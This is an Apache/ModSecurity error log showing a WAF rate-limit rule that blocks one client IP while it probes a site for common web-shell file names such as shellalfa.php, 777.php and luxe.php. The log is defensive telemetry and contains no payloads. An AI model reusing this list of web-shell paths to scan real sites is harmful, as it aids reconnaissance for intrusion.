[Mon Dec 15 20:41:58.596054 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16503] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aUACFhaJK6javjid3xy2WAAAAQo"]
[Mon Dec 15 20:41:58.881264 2025] [:error] [pid 31459:tid 31463] [client 4.194.147.174:16444] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aUACFjqerS0TDpViRztn-wAAAAI"]
[Mon Dec 15 20:41:59.198442 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16425] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aUACF5zSh8b7uk6RWiFiLwAAAFI"]
[Mon Dec 15 20:41:59.425547 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16294] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aUACF5zSh8b7uk6RWiFiMAAAAE4"]
[Mon Dec 15 20:41:59.658074 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16345] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aUACFxaJK6javjid3xy2WQAAAQY"]
[Mon Dec 15 20:41:59.936403 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16320] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aUACF5zSh8b7uk6RWiFiMQAAAEo"]
[Mon Dec 15 20:42:00.309694 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:16338] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aUACGAN06qRtpJxyxHihQQAAAIk"]
[Mon Dec 15 20:42:00.558172 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16407] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aUACGAN06qRtpJxyxHihQwAAAJg"]
[Mon Dec 15 20:42:00.798581 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16273] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aUACGBaJK6javjid3xy2WgAAAQE"]
[Mon Dec 15 20:42:01.017765 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16423] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aUACGRaJK6javjid3xy2WwAAAQg"]
[Mon Dec 15 20:42:01.834459 2025] [:error] [pid 31459:tid 31479] [client 4.194.147.174:16275] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aUACGTqerS0TDpViRztoAwAAABI"]
[Mon Dec 15 20:42:02.062877 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:16325] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aUACGpzSh8b7uk6RWiFiNgAAAEw"]
[Mon Dec 15 20:42:02.264386 2025] [:error] [pid 31373:tid 31419] [client 4.194.147.174:16272] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aUACGnFdnrU7ASwItVLgzwAAAM4"]
[Mon Dec 15 20:42:02.653408 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:16267] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aUACGpzSh8b7uk6RWiFiOAAAAFQ"]
[Mon Dec 15 20:42:03.017954 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16274] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aUACG3FdnrU7ASwItVLg0gAAAMM"]
[Mon Dec 15 20:42:03.284843 2025] [:error] [pid 31374:tid 31434] [client 4.194.147.174:16278] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aUACG5zSh8b7uk6RWiFiOgAAAEI"]
[Mon Dec 15 20:42:03.535944 2025] [:error] [pid 31374:tid 31433] [client 4.194.147.174:16430] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aUACG5zSh8b7uk6RWiFiPAAAAEE"]
[Mon Dec 15 20:42:03.856111 2025] [:error] [pid 31373:tid 31414] [client 4.194.147.174:16261] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xtt.php"] [unique_id "aUACG3FdnrU7ASwItVLg1AAAAMk"]
[Mon Dec 15 20:42:04.164541 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:19285] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUACHHFdnrU7ASwItVLg1QAAANQ"]
[Mon Dec 15 20:42:04.348571 2025] [:error] [pid 31372:tid 31399] [client 4.194.147.174:16348] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUACHAN06qRtpJxyxHihSgAAAJc"]
[Mon Dec 15 20:42:04.736682 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16368] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUACHHFdnrU7ASwItVLg1gAAAMs"]
[Mon Dec 15 20:42:05.103069 2025] [:error] [pid 31373:tid 31417] [client 4.194.147.174:16427] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUACHXFdnrU7ASwItVLg2AAAAMw"]
[Mon Dec 15 20:42:05.457460 2025] [:error] [pid 31373:tid 31428] [client 4.194.147.174:16339] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aUACHXFdnrU7ASwItVLg2gAAANc"]
[Mon Dec 15 20:42:05.738148 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:16212] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aUACHQN06qRtpJxyxHihTgAAAJE"]
[Mon Dec 15 20:42:06.158821 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16440] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aUACHpzSh8b7uk6RWiFiQAAAAFI"]
[Mon Dec 15 20:42:06.439277 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16350] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/noe.php"] [unique_id "aUACHhaJK6javjid3xy2ZQAAARM"]
[Mon Dec 15 20:42:06.789185 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16311] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aUACHhaJK6javjid3xy2aAAAAQA"]
[Mon Dec 15 20:42:07.160033 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16129] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aUACHxaJK6javjid3xy2agAAAQg"]
[Mon Dec 15 20:42:07.526721 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:16387] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aUACHwN06qRtpJxyxHihUAAAAJI"]
[Mon Dec 15 20:42:07.880759 2025] [:error] [pid 31459:tid 31480] [client 4.194.147.174:16383] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aUACHzqerS0TDpViRztoDAAAABM"]
[Mon Dec 15 20:42:08.215487 2025] [:error] [pid 31459:tid 31478] [client 4.194.147.174:16359] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aUACIDqerS0TDpViRztoDgAAABE"]
[Mon Dec 15 20:42:08.427786 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:16330] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aUACIAN06qRtpJxyxHihUgAAAJY"]
[Mon Dec 15 20:42:08.653222 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:16358] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aUACIDqerS0TDpViRztoEQAAAAw"]
[Mon Dec 15 20:42:08.902716 2025] [:error] [pid 31372:tid 31390] [client 4.194.147.174:16288] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shellalfa.php"] [unique_id "aUACIAN06qRtpJxyxHihVAAAAI4"]
[Mon Dec 15 20:42:09.208709 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16277] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aUACIRaJK6javjid3xy2cQAAAQU"]
[Mon Dec 15 20:42:09.495264 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:16298] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aUACIRaJK6javjid3xy2cgAAAQw"]
[Mon Dec 15 20:42:09.773137 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16364] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aUACIRaJK6javjid3xy2dQAAAQ8"]
[Mon Dec 15 20:42:10.196929 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16351] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aUACIhaJK6javjid3xy2egAAAQg"]
[Mon Dec 15 20:42:10.439295 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16262] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aUACIhaJK6javjid3xy2fQAAAQM"]
[Mon Dec 15 20:42:10.727954 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:16394] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aUACIhaJK6javjid3xy2fgAAARE"]
[Mon Dec 15 20:42:10.940961 2025] [:error] [pid 52155:tid 52165] [client 4.194.147.174:16221] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aUACIhaJK6javjid3xy2ggAAAQc"]
[Mon Dec 15 20:42:11.194463 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:16381] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aUACI5zSh8b7uk6RWiFiQwAAAFc"]
[Mon Dec 15 20:42:11.418948 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:16435] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aUACI5zSh8b7uk6RWiFiRAAAAEw"]
[Mon Dec 15 20:42:11.745821 2025] [:error] [pid 31374:tid 31451] [client 4.194.147.174:16422] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aUACI5zSh8b7uk6RWiFiRQAAAFM"]
[Mon Dec 15 20:42:12.100322 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16442] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aUACJJzSh8b7uk6RWiFiRwAAAFA"]
[Mon Dec 15 20:42:12.536666 2025] [:error] [pid 31374:tid 31441] [client 4.194.147.174:16332] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aUACJJzSh8b7uk6RWiFiSgAAAEk"]
[Mon Dec 15 20:42:12.844805 2025] [:error] [pid 31459:tid 31474] [client 4.194.147.174:16490] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aUACJDqerS0TDpViRztoFgAAAA0"]
[Mon Dec 15 20:42:13.089392 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:16304] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aUACJRaJK6javjid3xy2iwAAARg"]
[Mon Dec 15 20:42:13.364724 2025] [:error] [pid 31373:tid 31411] [client 4.194.147.174:16327] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aUACJXFdnrU7ASwItVLg4wAAAMY"]
[Mon Dec 15 20:42:13.592442 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:16506] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aUACJZzSh8b7uk6RWiFiTQAAAFE"]
[Mon Dec 15 20:42:13.889910 2025] [:error] [pid 31374:tid 31456] [client 4.194.147.174:19322] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aUACJZzSh8b7uk6RWiFiTwAAAFg"]
[Mon Dec 15 20:42:14.241219 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16250] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aUACJpzSh8b7uk6RWiFiUQAAAEo"]
[Mon Dec 15 20:42:14.450455 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:16363] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aUACJpzSh8b7uk6RWiFiUgAAAE0"]
[Mon Dec 15 20:42:14.649021 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:16432] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aUACJhaJK6javjid3xy2kAAAAQw"]
[Mon Dec 15 20:42:14.980102 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:16131] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aUACJgN06qRtpJxyxHihWQAAAJI"]
[Mon Dec 15 20:42:15.195394 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:16211] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aUACJ5zSh8b7uk6RWiFiVwAAAFU"]
